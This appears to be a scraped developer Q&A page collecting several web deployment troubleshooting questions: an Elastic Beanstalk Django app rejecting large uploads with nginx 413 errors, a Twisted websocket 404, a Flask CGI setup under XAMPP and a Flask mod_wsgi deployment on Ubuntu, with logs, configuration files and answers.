173.49.32.209 - - [08/Sep/2020:21:27:14 +0000] "GET /favicon.ico HTTP/1.1" 404 3199 "http://testing-env.us-west-2.elasticbeanstalk.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" "-"
173.49.32.209 - - [08/Sep/2020:21:27:16 +0000] "GET /covid HTTP/1.1" 301 0 "http://testing-env.us-west-2.elasticbeanstalk.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" "-"
173.49.32.209 - - [08/Sep/2020:21:27:16 +0000] "GET /covid/ HTTP/1.1" 200 2472 "http://testing-env.us-west-2.elasticbeanstalk.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" "-"
173.49.32.209 - - [08/Sep/2020:21:27:16 +0000] "GET /static/tinymce/css/prism.css HTTP/1.1" 404 1831 "http://testing-env.us-west-2.elasticbeanstalk.com/covid/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" "-"
173.49.32.209 - - [08/Sep/2020:21:27:16 +0000] "GET /static/tinymce/js/prism.js HTTP/1.1" 404 1825 "http://testing-env.us-west-2.elasticbeanstalk.com/covid/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" "-"
173.49.32.209 - - [08/Sep/2020:21:27:23 +0000] "POST /covid/ HTTP/1.1" 413 585 "http://testing-env.us-west-2.elasticbeanstalk.com/covid/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" "-"
error log:
----------------------------------------
/var/log/nginx/error.log
----------------------------------------
2020/08/31 15:39:40 [error] 32014#0: *1 client intended to send too large body: 18862700 bytes, client: 98.114.91.108, server: , request: "POST /covid/ HTTP/1.1", host: "testing-env.us-west-2.elasticbeanstalk.com", referrer: "http://testing-env.us-west-2.elasticbeanstalk.com/covid/"
2020/08/31 16:50:03 [warn] 32014#0: *14 using uninitialized "year" variable while logging request, client: 188.166.55.205, server: , request: "GET / HTTP/1.1"
2020/08/31 16:50:03 [warn] 32014#0: *14 using uninitialized "month" variable while logging request, client: 188.166.55.205, server: , request: "GET / HTTP/1.1"
2020/08/31 16:50:03 [warn] 32014#0: *14 using uninitialized "day" variable while logging request, client: 188.166.55.205, server: , request: "GET / HTTP/1.1"
2020/08/31 16:50:03 [warn] 32014#0: *14 using uninitialized "hour" variable while logging request, client: 188.166.55.205, server: , request: "GET / HTTP/1.1"
2020/09/08 18:15:12 [warn] 32014#0: *909 using uninitialized "year" variable while logging request, client: 45.148.10.28, server:
2020/09/08 18:15:12 [warn] 32014#0: *909 using uninitialized "month" variable while logging request, client: 45.148.10.28, server:
2020/09/08 18:15:12 [warn] 32014#0: *909 using uninitialized "day" variable while logging request, client: 45.148.10.28, server:
2020/09/08 18:15:12 [warn] 32014#0: *909 using uninitialized "hour" variable while logging request, client: 45.148.10.28, server:
2020/09/08 21:27:21 [error] 32014#0: *920 client intended to send too large body: 13128050 bytes, client: 173.49.32.209, server: , request: "POST /covid/ HTTP/1.1", host: "testing-env.us-west-2.elasticbeanstalk.com", referrer: "http://testing-env.us-west-2.elasticbeanstalk.com/covid/"
eb-engine log:
----------------------------------------
/var/log/eb-engine.log
----------------------------------------
2020/08/31 15:38:41.040550 [INFO] Running command /bin/sh -c systemctl is-active web.service
2020/08/31 15:38:41.043806 [INFO] Running command /bin/sh -c systemctl start web.service
2020/08/31 15:38:41.637552 [INFO] Executing instruction: start X-Ray
2020/08/31 15:38:41.637570 [INFO] X-Ray is not enabled.
2020/08/31 15:38:41.637576 [INFO] Executing instruction: start proxy with new configuration
2020/08/31 15:38:41.637605 [INFO] Running command /bin/sh -c /usr/sbin/nginx -t -c /var/proxy/staging/nginx/nginx.conf
2020/08/31 15:38:41.646555 [INFO] Running command /bin/sh -c cp -rp /var/proxy/staging/nginx/* /etc/nginx
2020/08/31 15:38:41.648731 [INFO] Running command /bin/sh -c systemctl show -p PartOf nginx.service
2020/08/31 15:38:41.655854 [INFO] Running command /bin/sh -c systemctl daemon-reload
2020/08/31 15:38:41.724618 [INFO] Running command /bin/sh -c systemctl reset-failed
2020/08/31 15:38:41.730039 [INFO] Running command /bin/sh -c systemctl show -p PartOf nginx.service
2020/08/31 15:38:41.735205 [INFO] Running command /bin/sh -c systemctl is-active nginx.service
2020/08/31 15:38:41.738632 [INFO] Running command /bin/sh -c systemctl start nginx.service
2020/08/31 15:38:41.815251 [INFO] Executing instruction: configureSqsd
2020/08/31 15:38:41.815269 [INFO] This is a web server environment instance, skip configure sqsd daemon ...
2020/08/31 15:38:41.815275 [INFO] Executing instruction: startSqsd
2020/08/31 15:38:41.815279 [INFO] This is a web server environment instance, skip start sqsd daemon ...
2020/08/31 15:38:41.815283 [INFO] Executing instruction: Track pids in healthd
2020/08/31 15:38:41.815288 [INFO] This is an enhanced health env...
2020/08/31 15:38:41.815308 [INFO] Running command /bin/sh -c systemctl show -p ConsistsOf aws-eb.target | cut -d= -f2
2020/08/31 15:38:41.822577 [INFO] cfn-hup.service healthd.service nginx.service
2020/08/31 15:38:41.822607 [INFO] Running command /bin/sh -c systemctl show -p ConsistsOf eb-app.target | cut -d= -f2
2020/08/31 15:38:41.831295 [INFO] web.service
2020/08/31 15:38:41.831481 [INFO] Executing instruction: RunAppDeployPostDeployHooks
2020/08/31 15:38:41.831493 [INFO] The dir .platform/hooks/postdeploy/ does not exist in the application. Skipping this step...
2020/08/31 15:38:41.831498 [INFO] Executing cleanup logic
2020/08/31 15:38:41.831594 [INFO] CommandService Response: {"status":"SUCCESS","api_version":"1.0","results":[{"status":"SUCCESS","msg":"Engine execution has succeeded.","returncode":0,"events":[{"msg":"Instance deployment successfully generated a 'Procfile'.","timestamp":1598888317,"severity":"INFO"},{"msg":"Instance deployment completed successfully.","timestamp":1598888321,"severity":"INFO"}]}]}
2020/08/31 15:38:41.831756 [INFO] Platform Engine finished execution on command: app-deploy
2020/08/31 15:40:02.514572 [INFO] Starting...
2020/08/31 15:40:02.514622 [INFO] Starting EBPlatform-PlatformEngine
2020/08/31 15:40:02.514645 [INFO] reading event message file
2020/08/31 15:40:02.514749 [INFO] no eb envtier info file found, skip loading env tier info.
2020/08/31 15:40:02.514814 [INFO] Engine received EB command cfn-hup-exec
2020/08/31 15:40:02.703882 [INFO] Running command /bin/sh -c /opt/aws/bin/cfn-get-metadata -s arn:aws:cloudformation:us-west-2:719930975199:stack/awseb-e-kagvpnbvff-stack/2e434ba0-eb98-11ea-a9bf-0ae10a278694 -r AWSEBAutoScalingGroup --region us-west-2
2020/08/31 15:40:03.061324 [INFO] Running command /bin/sh -c /opt/aws/bin/cfn-get-metadata -s arn:aws:cloudformation:us-west-2:719930975199:stack/awseb-e-kagvpnbvff-stack/2e434ba0-eb98-11ea-a9bf-0ae10a278694 -r AWSEBBeanstalkMetadata --region us-west-2
2020/08/31 15:40:03.416480 [INFO] checking whether command tail-log is applicable to this instance...
2020/08/31 15:40:03.416494 [INFO] this command is applicable to the instance, thus instance should execute command
2020/08/31 15:40:03.416499 [INFO] Engine command: (tail-log)
2020/08/31 15:40:03.416549 [INFO] Executing instruction: GetTailLogs
2020/08/31 15:40:03.416554 [INFO] Tail Logs...
2020/08/31 15:40:03.416792 [INFO] Running command /bin/sh -c tail -n 100 /var/log/eb-engine.log
2020/08/31 15:40:03.418484 [INFO] Running command /bin/sh -c tail -n 100 /var/log/web.stdout.log
2020/08/31 15:40:03.419929 [INFO] Running command /bin/sh -c tail -n 100 /var/log/nginx/access.log
2020/08/31 15:40:03.421444 [INFO] Running command /bin/sh -c tail -n 100 /var/log/nginx/error.log
2020/08/31 15:40:03.505034 [INFO] Executing cleanup logic
2020/08/31 15:40:03.505123 [INFO] CommandService Response: {"status":"SUCCESS","api_version":"1.0","results":[{"status":"SUCCESS","msg":"Engine execution has succeeded.","returncode":0,"events":[{"msg":"Instance deployment completed successfully.","timestamp":1598888403,"severity":"INFO"}]}]}
2020/08/31 15:40:03.505143 [INFO] Platform Engine finished execution on command: tail-log
2020/09/08 21:28:16.914466 [INFO] Starting...
2020/09/08 21:28:16.914517 [INFO] Starting EBPlatform-PlatformEngine
2020/09/08 21:28:16.914533 [INFO] reading event message file
2020/09/08 21:28:16.914638 [INFO] no eb envtier info file found, skip loading env tier info.
2020/09/08 21:28:16.914704 [INFO] Engine received EB command cfn-hup-exec
2020/09/08 21:28:17.007638 [INFO] Running command /bin/sh -c /opt/aws/bin/cfn-get-metadata -s arn:aws:cloudformation:us-west-2:719930975199:stack/awseb-e-kagvpnbvff-stack/2e434ba0-eb98-11ea-a9bf-0ae10a278694 -r AWSEBAutoScalingGroup --region us-west-2
2020/09/08 21:28:17.364703 [INFO] Running command /bin/sh -c /opt/aws/bin/cfn-get-metadata -s arn:aws:cloudformation:us-west-2:719930975199:stack/awseb-e-kagvpnbvff-stack/2e434ba0-eb98-11ea-a9bf-0ae10a278694 -r AWSEBBeanstalkMetadata --region us-west-2
2020/09/08 21:28:17.662020 [INFO] checking whether command tail-log is applicable to this instance...
2020/09/08 21:28:17.662035 [INFO] this command is applicable to the instance, thus instance should execute command
2020/09/08 21:28:17.662039 [INFO] Engine command: (tail-log)
2020/09/08 21:28:17.662107 [INFO] Executing instruction: GetTailLogs
2020/09/08 21:28:17.662115 [INFO] Tail Logs...
2020/09/08 21:28:17.662343 [INFO] Running command /bin/sh -c tail -n 100 /var/log/web.stdout.log
2020/09/08 21:28:17.663932 [INFO] Running command /bin/sh -c tail -n 100 /var/log/nginx/access.log
2020/09/08 21:28:17.665404 [INFO] Running command /bin/sh -c tail -n 100 /var/log/nginx/error.log
2020/09/08 21:28:17.666892 [INFO] Running command /bin/sh -c tail -n 100 /var/log/eb-engine.log
Here is my django.config file:
option_settings:
aws:elasticbeanstalk:application:environment:
DJANGO_SETTINGS_MODULE: "mysite.settings"
"PYTHONPATH": "/opt/python/current/app/mysite:$PYTHONPATH"
aws:elasticbeanstalk:container:python:
WSGIPath: mysite.wsgi:application
container_commands:
pytorch_install:
command: "sudo apt-get update"
command: "sudo apt-get install -y libgl1-mesa-glx"
command: "pip install --no-cache-dir torch"
command: "echo HERERERERERERERERE"
command: "pip install --no-cache-dir efficientnet_pytorch"
command: "pip install efficientnet_pytorch"
01_setup_dir:
command: "mkdir /home"
command: "chmod -R 777 /home"
03_install_cv:
command: "sudo apt-get update"
command: "sudo apt-get install -y libsm6 libxext6 libxrender-dev"
command: "pip3 install opencv-python"
04_check_cv:
command: "pip install opencv-python"
command: "pip freeze"
files:
"/etc/httpd/conf.d/wsgi_custom.conf":
mode: "000644"
owner: root
group: root
content: |
WSGIApplicationGroup %{GLOBAL}
"/etc/nginx/conf.d/proxy.conf":
mode: "000755"
owner: root
group: root
content: |
client_max_body_size "100M";
I read many posts that fixed the same problem by including creating a file to change the max file size to something larger, which i tried at the end of the config file. But, it did not work. If there is any more information I can provide, I would be happy too! Thank you in advance :)

The nginx setting you are trying to use (/etc/nginx/conf.d/proxy.conf) is for Amazon Linux 1.
Since you are probably using Amazon Linux 2 you should be using different files for customizing nginx. For AL2, the nginx settings should be in .platform/nginx/conf.d/, not in .ebextentions as shown in the docs.
Therefore, you could have the following .platform/nginx/conf.d/myconfig.conf with content:
client_max_body_size 100M;

Found a twisted python tutorial that is outdated, does anyone know how to get the code working?

I am trying to get a chatroom working using a tutorial I found online with the twisted module in python, but I got this error message from the Chrome Network Inspector: "Error during WebSocket handshake: Unexpected response code: 404"
Any help would be greatly appreciated.
My Python version is 3.8.3
Chrome Version is 84.0.4147.89
I am on Windows 10 Home Version 1909 OS Build 18363.959
https://github.com/github-is-stupid/pyserver
Tutorial
https://pawelmhm.github.io/python/websockets/2016/01/02/playing-with-websockets.html
Pip freeze output is this
attrs==19.3.0
autobahn==20.7.1
Automat==20.2.0
cffi==1.14.1
constantly==15.1.0
cryptography==3.0
hyperlink==19.0.0
idna==2.10
incremental==17.5.0
pycparser==2.20
PyHamcrest==2.0.2
six==1.15.0
Twisted==20.3.0
txaio==20.4.1
websockets==8.1
zope.interface==5.1.0
My terminal message is this :
2020-07-29 17:02:41-0700 [-] "127.0.0.1" - - [30/Jul/2020:00:02:41 +0000] "GET /ws HTTP/1.1" 404 145 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537
.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36"

I tried this code. It works on mac (osx catalina) with chrome 83.0.4103.116. Not sure what is the issue with windows 10. I am on python 2.7.16 with Twisted==20.3.0.
Added:
I am able to reproduce this problem using python 3.8.5. So I think this is a version issue. The original example was intended to python 2.7.

Deploying a Flask application using cgi script in Xampp

I am attempting to deploy a simple Hello World script on XAMMP.
In case the link is removed here is application.py:
from flask import Flask
app = Flask(__name__)
#app.route("/")
def hello():
return "Hello World!"
My applciation.cgi script is as follows:
#!C:/Users/Simon/Documents/Python/Scripts/python.exe
from wsgiref.handlers import CGIHandler
from application import hello
CGIHandler().run(app)
C:/Users/Simon/Documents/Python/ is the location of my virtual python environment.
I have configured XAMMP (httpd.conf) in the following way:
AddHandler cgi-script .py
ScriptInterpreterSource Registry-Strict
This configuration I kept in all cases.
I tried the following as suggested in the documentation:
ScriptAlias /Network C:/Users/Simon/Documents/Network/application.cgi
This failed and I tried this as suggested in here:
<Directory "C:/Users/Simon/Documents/Network">
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Require all granted
</Directory>
Alias /Network "C:/Users/Simon/Documents/Network"
In all cases an Error 500 Server error! was returned.
I'm not sure if it's needed but here is the relevant error showing in access.log:
192.168.0.8 - - [17/Feb/2018:13:21:12 +0000] "GET / HTTP/1.1" 500 1100 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36"
If anything is missing please tell me and I will add it.
How can I correctly configure my server so that I can run this script?
There was mistake in application.cgi:
#!C:/Users/Simon/Documents/Python/Scripts/python.exe
from wsgiref.handlers import CGIHandler
from application import hello
CGIHandler().run(hello)
It is however still returning an error:
A server error occurred. Please contact the administrator.

You've imported the wrong thing in your CGI script; as a result app is not defined. You should be importing that rather than hello.

flask app won't run on ubuntu 12.04 (digital ocean)

I am having difficulties deploying a basic flask app on a digital ocean server running ubuntu 12.04, apache2, and mod-wsgi. I have tried a number of different modifications of both the myapp.conf file and the myapp.wsgi file. I suspected that these were the culprits, but now I'm not so sure.
At all times, visiting my url just displays the apache 'It works' dialogue. Each attempt made to successfully restart the apache service (after trying to fix the problem), and access the website sees this same activity in the error.log:
[Wed Aug 27 00:49:14 2014] [notice] caught SIGTERM, shutting down
[Wed Aug 27 00:49:15 2014] [notice] Apache/2.2.22 (Ubuntu) mod_wsgi/3.3 Python/2.7.3 configured -- resuming normal operations
And this activity in the access.log:
11.22.33.44 - - [27/Aug/2014:00:49:19 -0400] "GET / HTTP/1.1" 304 209 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"
11.22.33.44 - - [27/Aug/2014:00:49:21 -0400] "GET / HTTP/1.1" 304 208 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"
11.22.33.44 - - [27/Aug/2014:00:49:24 -0400] "GET / HTTP/1.1" 304 208 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"
By 'basic' flask app, I mean: no sql database (as in none, not as in non-relational), no site users, no factory, no blueprint, etc.
The relevant directory /var/www/myapp/ looks like this (using virtualenv to run the app):
myapp/
+ myapp/
| + static/
| + templates/
| + venv/
| | __init__.py
| myapp.wsgi
Although I have tried several versions of the myapp.conf file, these two are representative:
<VirtualHost *:80>
ServerName myapp.com
WSGIDaemonProcess myapp user=flask group=www-data home=/var/www/myapp/
WSGIScriptAlias / /var/www/myapp/myapp.wsgi
<Directory /var/www/myapp/myapp/>
WSGIProcessGroup myapp
WSGIApplicationGroup % {GLOBAL}
WSGIScriptReloading On
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
And:
<VirtualHost *:80>
ServerName myapp.com
WSGIScriptAlias / /var/www/myapp/myapp.wsgi
<Directory /var/www/myapp/myapp/>
Order allow,deny
Allow from all
</Directory>
Alias /static /var/www/myapp/myapp/static
<Directory /var/www/myapp/myapp/static/>
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
The two general types of myapp.wsgi files I have tried are:
#!/usr/bin/python
import sys
import logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/myapp/")
from myapp import app as application
And:
activate_this = '/var/www/myapp/myapp/venv/bin/activate_this.py'
execfile(activate_this, dict(__file__=activate_this))
import os
import sys
import logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0, '/var/www/myapp/')
from myapp import app as application
#commenting out same in __init__.py
if __name__ == '__main__':
application.run()
The app does run successfully on my local machine, and I always chowned the /var/www/ directory for each user identified in the .conf file.
Any thoughts, tips, pointers, etc are extraordinarily welcome. Thanks very kindly.

Categories

Resources